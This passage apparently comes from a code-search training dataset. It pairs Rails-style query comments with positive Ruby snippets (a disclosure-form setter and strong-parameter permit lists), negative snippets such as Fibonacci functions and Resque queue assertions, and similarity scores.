nil\n end\n final_array[-1]\nend", "def fibonacci\n @sequence = [1,1]\n x = 0\n while (@sequence[x+1] < 4e+6)\n @sequence << @sequence[x] + @sequence[x+1]\n x += 1\n end\n even? x\nend", "def fibonacci(n)\n return 1 if n <= 2\n num1, num2 = [1, 1]\n index = 2\n while n > index\n running_total = num1 + num2\n num1, num2 = num2, running_total\n n -= 1\n end\n running_total\nend", "def fibs(n)\n list = [0, 1]\n if n == 0\n return []\n elsif n == 1\n return [0]\n elsif n == 2\n return [0, 1]\n else \n counter = 2\n while counter < n\n sum = 0\n list.each_with_index do |element, index|\n if index >= list.length - 2\n sum += element\n end\n end\n list.push(sum)\n counter += 1\n end\n end\n return list\nend", "def fibo(n)\n\n first = 0\n second = 1\n total = 0\n\n (1...n).each do\n total = first + second\n first = second\n second = total\n end\n return total\nend", "def find_fibonaccis(limit)\n fib_array = []\n i = 1\n while i <= limit\n first_num = fib_array[i-1] ||= 1 # 1, \n second_num = fib_array[i] ||= 1 # 1, \n result = first_num + second_num\n if result > limit\n break\n end\n fib_array << result\n i += 1\n end\n fib_array\nend", "def fibonacci_number(n)\n #define nth Fibonacci term\n fibonacci_lst=[0,1] #F1=1,F2=1\n for i in 2..n\n fibonacci_lst[i]=fibonacci_lst[i-1]+fibonacci_lst[i-2]\n end\n return fibonacci_lst[n]\nend", "def fibonacci\n\n n1 = 1\n n2 = 2\n n3 = n1 + n2\n sum = 1\n \n (2..4000000).each do |i|\n n1 = n2\n n2 = n3\n n3 = n1 + n2\n\n if n2 % 2 == 0 \n sum += n2\n end\n puts \"number: #{i}\"\n end\n\n sum\n\nend", "def fibonacci(n)\n if n <= 2\n 1\n else\n previous, sum = [1, 1]\n 3.upto(n) do\n previous, sum = [sum, previous + sum]\n end\n sum\n end\nend", "def fibonacci2(num)\n total = 0\n count = 2\n first_num = 1\n second_num = 1\n loop do\n total = first_num + second_num\n first_num = second_num\n second_num = total\n count += 1\n break if count == num\n end\n total\nend", "def fib(first_num, second_num)\n while second_num < LIMIT\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend", "def fibSum someNumber\n currentNumber = 2\n lastNumber = 1\n sum = 0\n while currentNumber < someNumber\n sum += currentNumber if currentNumber % 2 == 0\n tempNumber = currentNumber\n currentNumber += lastNumber\n lastNumber = tempNumber\n end\n puts sum\nend", "def nthFibonacci (n)\n \n if n == 0\n return 0\n end\n\n i = 0\n\n sequence = Array.new\n\n sequence.push(i)\n\n i += 1\n\n sequence.push(i)\n\n while i < n do\n sequence[i+1] = (sequence[-1]) + (sequence[-2])\n\n i += 1\n end\n\n sequence[-1]\nend", "def nthFibonacci (n)\n # Your code here\n fArr = []\n a = 0\n b = 1\n if n == 0\n fArr << 0\n elsif n == 1\n fArr << 0\n elsif n > 1\n fArr << 0\n while fArr.size < n+1 do\n fArr << b\n a,b = b,a+b\n end\n end\n return fArr[n]\nend", "def fibonacci(num)\n fib_nums = []\n (0...num).each do |i|\n if i == 0 || i == 1\n fib_nums << 1\n next\n end\n fib_nums << fib_nums[i-2] + fib_nums[i-1]\n end\n return fib_nums\nend", "def fiboEvenSum(max)\n sequence([1,2], max).inject(0) do | sum, i |\n if i%2 == 0 \n sum + i\n else\n sum\n end\n end\nend", "def fibonacci(int)\n range_array = (1..int).to_a\n final_array = [1,1]\n range_array.each do |num|\n num > 2 ? final_array << final_array[num-3] + final_array[num-2] : nil\n end\n final_array[-1]\nend", "def fib(n)\n return [0,1].take(n) if n <= 2\n prev = fib(n-1)\n prev << prev[-1] + prev[-2]\nend", "def fibonacci(n)\n\n current_num = 1 \n current_num_next = 1\n sum = current_num + current_num_next\n count = 2\n\n loop do \n current_num = current_num_next \n current_num_next = sum\n sum = current_num + current_num_next\n # puts \"sum is #{sum} and current value is #{current_num} and current next is #{current_num_next}\"\n count += 1\n break if count > n - 2\n end\n sum\nend", "def fibonacci(n)\n if n == 0\n 0\n elsif n == 1\n 1\n else\n before_previous = 0\n previous = 1\n actual = nil\n (2..n).each do\n actual = previous + before_previous\n before_previous = previous\n previous = actual\n end\n actual\n end\nend", "def fib\n sum = 0\n a = 1\n b = 2\n while b < 4000000\n sum += b if b % 2 == 0\n a, b = b, a + b\n # sum += b if b % 2 == 0\n end\n puts sum\nend", "def get_all_fibs(num)\n a = 1; b = 2; c = 0;\n fibs = [a, b];\n while ((c = a + b) < num)\n fibs << c;\n a = b;\n b = c;\n end\n fibs.select {|x| x.even?}.inject(:+)\nend", "def fib(n)\n fib_arr = [0, 1] # Add stuff to arr so that we can get [-2], [-1] index later\n i = 0\n while i < n - 2 # The -2 is to account for the 2 items already in fib_arr\n fib_term = fib_arr[-2] + fib_arr[-1]\n fib_arr << fib_term\n i += 1\n end\n return fib_arr\nend" ]
[ "0.8023819", "0.773742", "0.76806855", "0.76542723", "0.7649347", "0.7643376", "0.75985307", "0.7585838", "0.7570688", "0.75691545", "0.75551176", "0.7535338", "0.7516236", "0.74964315", "0.74817544", "0.7480496", "0.74692434", "0.7449181", "0.7448456", "0.7442246", "0.7434983", "0.7434922", "0.7395895", "0.7372654", "0.73714733", "0.73690623", "0.73616886", "0.73614246", "0.7360555", "0.73263574", "0.7324447", "0.73168784", "0.7293435", "0.7281817", "0.72669643", "0.72575516", "0.7236823", "0.72262126", "0.7217652", "0.72038513", "0.7201365", "0.7195773", "0.7181081", "0.71785545", "0.715367", "0.71478236", "0.7129387", "0.7127907", "0.7126352", "0.7115485", "0.7104104", "0.7094853", "0.70893395", "0.70479214", "0.7042091", "0.7038121", "0.703544", "0.7017988", "0.70141244", "0.700884", "0.7003988", "0.7003399", "0.69918615", "0.6986879", "0.6985884", "0.6972406", "0.69446653", "0.69399124", "0.69362205", "0.69293225", "0.69233686", "0.6918117", "0.6904509", "0.6878171", "0.6877501", "0.6873967", "0.6868038", "0.6867549", "0.6866653", "0.68633103", "0.6858027", "0.68556964", "0.68491596", "0.68464947", "0.6838008", "0.6833914", "0.6832768", "0.683169", "0.68297285", "0.6825972", "0.68214256", "0.6819481", "0.68192565", "0.6819057", "0.68159455", "0.6812771", "0.681251", "0.67996514", "0.6796382", "0.67927945", "0.6790558" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_disclosure_form @disclosure_form = DisclosureForm.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def disclosure_form_params params.permit(:name, :dob, :street, :apt_number, :city_state_zip, :email, :home_phone, :whatisnst, :participant, :pricingandpayment, :finalagreement, :emergency_contact_name, :emergency_contact_phone) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "def quote_params\n params.permit!\n end", "def list_params\n params.permit(:list_name)\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def all_params; end", "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "def user_params\n end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def parameters\n nil\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7122899", "0.7054107", "0.69478", "0.6902101", "0.67359334", "0.67178756", "0.66889167", "0.6677724", "0.6661157", "0.6555896", "0.6527207", "0.64584696", "0.64517015", "0.6450208", "0.644749", "0.6435074", "0.6413329", "0.6413329", "0.6391818", "0.6380081", "0.6380081", "0.6375536", "0.6360849", "0.635511", "0.6285548", "0.62798816", "0.62468714", "0.6227613", "0.6224945", "0.6224163", "0.62108225", "0.62080175", "0.6177938", "0.6171946", "0.6168783", "0.615999", "0.614475", "0.6136407", "0.61226404", "0.61090046", "0.60992956", "0.6075657", "0.60532176", "0.6040335", "0.6035594", "0.60304934", "0.60196596", "0.6018118", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.6018028", "0.60165983", "0.6005772", "0.6004614", "0.60022306", "0.59969896", "0.59954774", "0.59947675", "0.59847546", "0.5984462", "0.597783", "0.5975277", "0.59699774", "0.59675187", "0.5966527", "0.5966527", "0.5957506", "0.59521663", "0.59506977", "0.59479433", "0.5944202", "0.59313655", "0.5930722", "0.592726", "0.5924843", "0.5918731", "0.59178615", "0.5914195", "0.59137934", "0.5908005", "0.59058493", "0.5904342", "0.59020513", "0.59004885", "0.58971745", "0.5896885", "0.58949924" ]
0.0
-1
The opposite of +assert_queued+.
def assert_not_queued(klass, args = nil, message = nil) queue = Resque.queue_for(klass) assert_block (message || "#{klass}#{args ? " with #{args.inspect}" : ""} should not have been queued in #{queue}.") do !in_queue?(queue, klass, args) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def assert_queued_in(expected_time_difference, klass, args = nil, message = nil)\n queue = Resque.queue_for(klass)\n assert_queued_in_with_queue(queue, expected_time_difference, klass, args, message)\n end", "def test_isEmptyOnNonEmptyQueue\n @queue.enqueue(100)\n assert_equal( false , @queue.empty? )\n end", "def test_orderOfElements\n @queue.enqueue(100)\n @queue.enqueue(200)\n assert_equal( 100, @queue.dequeue )\n assert_equal( 200, @queue.dequeue )\n end", "def test_dequeueOnEmptyStack\n assert_equal( nil , @queue.dequeue )\n end", "def assert_no_enqueued_emails(&block)\n assert_enqueued_emails 0, &block\n end", "def test_dequeueOnNonEmptyStack\n @queue.enqueue(100)\n assert_equal( 100 , @queue.dequeue )\n end", "def test_batch_hooks\n assert_equal(false, Job.batch_exist?(@batch_id))\n\n assert_nothing_raised do\n 5.times { Resque.enqueue(Job, @batch_id, \"arg#{rand(100)}\") }\n end\n\n assert_equal(false, $batch_complete)\n assert_equal(false, Job.batch_complete?(@batch_id))\n assert(Job.batch_exist?(@batch_id))\n\n assert_nothing_raised do\n 4.times { Resque.reserve(:test).perform }\n end\n\n assert_equal(false, $batch_complete)\n assert_equal(false, Job.batch_complete?(@batch_id))\n assert(Job.batch_exist?(@batch_id))\n\n assert_nothing_raised do\n Resque.reserve(:test).perform\n end\n\n assert($batch_complete)\n assert(Job.batch_complete?(@batch_id))\n assert_equal(false, Job.batch_exist?(@batch_id))\n end", "def have_been_enqueued # rubocop:disable Naming/PredicateName\n unless EmailSpectacular._mocking_sending_enqueued_emails\n raise 'EmailSpectacular: Cannot use the have_been_enqueued assertion without setting the ' \\\n 'mock_sending_enqueued_emails configuration option.'\n end\n\n EmailSpectacular::RSpecMatcher.new(enqueued: true)\n end", "def test_peek\n 